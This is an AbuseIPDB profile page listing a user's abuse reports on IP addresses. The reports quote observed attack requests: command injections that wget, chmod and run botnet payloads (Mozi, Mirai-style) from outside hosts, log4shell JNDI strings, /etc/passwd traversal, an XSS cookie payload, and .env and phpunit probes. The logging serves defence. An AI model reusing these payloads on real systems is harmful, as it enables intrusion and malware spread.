dfnc - AbuseIPDB User Profile

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User dfnc joined AbuseIPDB in August 2022 and has reported 160 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇯🇵 133.18.39.116	03 Jun 2025	Phishing attempt via svg file - microsoft credentials teft attempt. SVG file contains js that red ... show more Phishing attempt via svg file - microsoft credentials teft attempt. SVG file contains js that redirects to https://files.docservercredentiials.com/${UNIQUELINK}?e={trackerValue} show less	Phishing
🇫🇷 15.236.165.61	27 May 2024	Large volume of requests against specific product API's (not general technology - but company / prod ... show more Large volume of requests against specific product API's (not general technology - but company / product oriented). Heavy scrapping of resources. show less	Hacking Web App Attack
🇺🇸 104.219.209.119	26 Apr 2023	Used automated tools against our services (attacks against our API-s ).	Hacking SQL Injection Web App Attack
🇨🇳 112.97.201.26	26 Apr 2023	Attacks against our API's incoming from this address detected. Automated tools like sqlmap or burp a ... show more Attacks against our API's incoming from this address detected. Automated tools like sqlmap or burp active scan were used. show less	Hacking SQL Injection Web App Attack
🇳🇱 45.148.120.138	21 Mar 2023	obfuscated traffic on http ports x16x03x01x00xEEx01x00x00xEAx03x03x89x88xE0x85_x1B x16x03x01x00xEE ... show more obfuscated traffic on http ports x16x03x01x00xEEx01x00x00xEAx03x03x89x88xE0x85_x1B x16x03x01x00xEEx01x00x00xEAx03x03xFCx7FVnx18x8AxEB x0BxB9xBE0xE7xECxE1xBBxBCxC7,N>0xE6xAFxCDxD1mOx81xF9{x8A xB8x9BUExE7 x16x03x01x00xEEx01x00x00xEAx03x03x14ixF7xF8xB1xE9xF8xB8x1C6xA4x99x9CxF1A*?AhW~xE9qx85xC7x1D>x16tx03lx9C xB4zxF5xD5x82Wx824xF3xB3Lx04x09x19x95xE0xFCxD2Cx957nkxB8xD7x03=vxC6xE4;;x00&xC0+xC0/xC0,xC00xCCxA9xCCxA8xC0x09xC0x13xC0 x16x03x01x00xEEx01x00x00xEAx03x03x91xE0xCBxCE?xCEx13xED %x11xADoXx05x94xA9xBFxC7xACxC2x15BIx18xDAxDB4xD7x0CxxFC xCBTxE7{ x04MxE1x02-cxEDx9BxB9PxD2xFAPx9CxE8!x0Bbx90@xDDxCDT{dxC5Mx00&xC0+xC0/xC0,xC00xCCxA9xCCxA8xC0x09xC0x13xC0 show less	Web App Attack
🇫🇷 151.80.61.29	21 Mar 2023	pma discovery and setup scripts + wordpress related paylaods on non wordpress non pma site GET ... show more pma discovery and setup scripts + wordpress related paylaods on non wordpress non pma site GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1 GET /program/index.php?lang=en HTTP/1.1 GET /phpmyadmin2017/index.php?lang=en HTTP/1.1 GET /phpMyAdmin-5.2.0/index.php?lang=en HTTP/1.1 GET /db/db-admin/index.php?lang=en HTTP/1.1 show less	Web App Attack
🇺🇸 216.250.119.203	21 Mar 2023	Java related payloads (log4shell) & auth bypass exploits POST /j_security_check HTTP/1.1 GET /?x= ... show more Java related payloads (log4shell) & auth bypass exploits POST /j_security_check HTTP/1.1 GET /?x=${jndi:ldap://127.0.0.1 HTTP/1.1 GET / HTTP/1.1 POST /graphql HTTP/1.1 POST /mifs/j_spring_security_check HTTP/1.1 POST /suite-api/api/auth/token/acquire HTTP/1.1 POST /api/login HTTP/1.1 GET /webtools/control/main HTTP/1.1 POST /hybridity/api/sessions HTTP/1.1 GET /portal/info.jsp HTTP/1.1 POST /ui/login.action HTTP/1.1 POST /api/system/sessions HTTP/1.1 POST /ccmadmin/j_security_check HTTP/1.1 POST /suite-auth/login HTTP/1.1 GET /websso/SAML2/SSO/vsphere.local?SAMLRequest HTTP/1.1 POST /zdm/cxf/login HTTP/1.1 GET /goanywhere/auth/Login.xhtml HTTP/1.1 POST /opennms/j_spring_security_check HTTP/1.1 POST /login HTTP/1.1 GET /c42api/v3/LoginConfiguration?url=https://localhost&username=${jndi:ldap://${hostName}.cgaug35brjf549vj0tjg4x7qqrw1p87ca.oast.online/test} HTTP/1.1 ... show less	Hacking Web App Attack
🇮🇷 2.179.55.188	21 Mar 2023	heavily obfuscated traffic on http ports	Web App Attack
🇺🇸 212.102.40.9	20 Mar 2023	searching for env files	Exploited Host
🇨🇳 117.93.95.252	20 Mar 2023	nmap scans detected	Port Scan
🇬🇧 178.79.139.171	20 Mar 2023	nmap scans	Port Scan Exploited Host
🇨🇳 125.42.27.27	14 Mar 2023	mozi malware spread 27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi. ... show more mozi malware spread 27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0 show less	Exploited Host Web App Attack
🇸🇦 144.24.213.222	02 Mar 2023	Already for a few days automated attacks are incoming against our services from this address few ex ... show more Already for a few days automated attacks are incoming against our services from this address few examples GET /index.php?controller=../../../../../../../../../../etc/passwd%00&option=com_multiroot HTTP/1.1 GET /img.php?f=/./etc/./passwd HTTP/1.1 GET /help/index.jsp?view=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1 show less	Web App Attack
🇬🇧 109.74.204.123	26 Feb 2023	nmap scans, directory brute force, known vulnerabilities	Web App Attack
🇰🇷 220.120.180.248	03 Feb 2023	GET /shell?cd+/tmp;rm+-rf+arm7;wget+http:/x5C/45.95.55.157/bins/arm7;chmod+777+arm7;./arm7 selfrep.j ... show more GET /shell?cd+/tmp;rm+-rf+arm7;wget+http:/x5C/45.95.55.157/bins/arm7;chmod+777+arm7;./arm7 selfrep.jaws GET /backupmgt/localJob.php?session=fail`wget%20-O-%20http%3A%2F%2F45.95.55.157%2Fseagate.sh%7Csh` HTTP/1.0 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/wget.sh;wget+http://45.95.55.157/wget.sh+-O+/tmp/wget.sh;sh+/tmp/wget.sh+selfrep.netgear&curpath=/&currentsetting.htm=1 HTTP/1.1 GET /adv,/cgi-bin/weblogin.cgi?username=admin%27%3Bwget%20http%3A%2F%2F45.95.55.157%2Fzyxel.sh%20-O%20-%20%7C%20sh%20%23+%23&password=asdf HTTP/1.1 GET /setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.55.157/bins/mips%20-O%20/var/tmp/mips;%20chmod%20777%20/var/tmp/mips;%20/var/tmp/mips%20selfrep.africo;%20rm%20-rf%20/var/tmp/mips&curpath=/&currentsetting.htm=1 HTTP/1.1 GET /index.php?s=/index/x09hinkx07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://45.95.55.157/bins/x86 -O /tmp/.th; chmod 777 /tmp/.th; /tmp/.th selfrep.thinkphp show less	Web App Attack
🇳🇱 195.133.40.81	03 Feb 2023	GET /cgi-bin/masterCGI?ping=nomip&user=;cd${IFS}/tmp;wget${IFS}http://vzwebsite.ir/fuez/potar.sh${IF ... show more GET /cgi-bin/masterCGI?ping=nomip&user=;cd${IFS}/tmp;wget${IFS}http://vzwebsite.ir/fuez/potar.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}Alcatel; HTTP/1.1 show less	Web App Attack
🇬🇧 132.145.46.98	03 Feb 2023	GET /.env HTTP/1.1 GET /_profiler/phpinfo HTTP/1.1 GET /phpinfo.php HTTP/1.1 GET /phpinfo HTTP/1. ... show more GET /.env HTTP/1.1 GET /_profiler/phpinfo HTTP/1.1 GET /phpinfo.php HTTP/1.1 GET /phpinfo HTTP/1.1 show less	Web App Attack
🇳🇱 195.133.40.83	03 Feb 2023	GET /cgi-bin/masterCGI?ping=nomip&user=;cd${IFS}/tmp;wget${IFS}http://vzwebsite.ir/fuez/potar.sh${IF ... show more GET /cgi-bin/masterCGI?ping=nomip&user=;cd${IFS}/tmp;wget${IFS}http://vzwebsite.ir/fuez/potar.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}Alcatel; HTTP/1.1 show less	Web App Attack
🇫🇷 185.81.157.204	03 Feb 2023	GET /api/.env HTTP/1.1 GET /.env HTTP/1.1 GET /.env.example HTTP/1.1 GET /server/.env HTTP/1.1 G ... show more GET /api/.env HTTP/1.1 GET /.env HTTP/1.1 GET /.env.example HTTP/1.1 GET /server/.env HTTP/1.1 GET /_profiler/phpinfo HTTP/1.1 GET /.env.local HTTP/1.1 GET /laravel/.env HTTP/1.1 show less	Web App Attack
🇸🇬 54.255.217.112	03 Feb 2023	GET /phpinfo/info.php HTTP/1.1 GET /phpinfo.html HTTP/1.1 GET /_profiler/phpinfo/phpinfo.php HTTP/ ... show more GET /phpinfo/info.php HTTP/1.1 GET /phpinfo.html HTTP/1.1 GET /_profiler/phpinfo/phpinfo.php HTTP/1.1 GET /phpinfo.txt HTTP/1.1 GET /_profiler/phpinfo/info.php HTTP/1.1 GET /phpcustom_info/phpinfo.php HTTP/1.1 GET /php52/phpinfo.php HTTP/1.1 GET /apache/phpinfo.php HTTP/1.1 GET /phpinfo1.php HTTP/1.1 GET /phpinfo3.php HTTP/1.1 show less	Web App Attack
🇺🇸 54.149.80.72	03 Feb 2023	GET /.env HTTP/1.1 GET //vendor/.env HTTP/1.1 GET //lib/.env HTTP/1.1 GET //lab/.env HTTP/1.1 PO ... show more GET /.env HTTP/1.1 GET //vendor/.env HTTP/1.1 GET //lib/.env HTTP/1.1 GET //lab/.env HTTP/1.1 POST //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 POST //phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1 POST //phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 etc.. show less	Web App Attack
🇮🇪 54.154.251.135	03 Feb 2023	POST //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdi ... show more POST //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 POST //vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 GET //v1/.env HTTP/1.1 GET //tools/.env HTTP/1.1 GET //v2/.env HTTP/1.1 GET //laravel/.env HTTP/1.1 GET //administrator/.env HTTP/1.1 etc... show less	Web App Attack
🇺🇸 35.89.51.94	02 Feb 2023	GET /.git/config HTTP/1.1	Web App Attack
🇬🇧 91.121.239.47	02 Feb 2023	GET /.env HTTP/1.1	Web App Attack
🇺🇸 20.169.218.1	02 Feb 2023	GET /.env HTTP/1.1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1	Web App Attack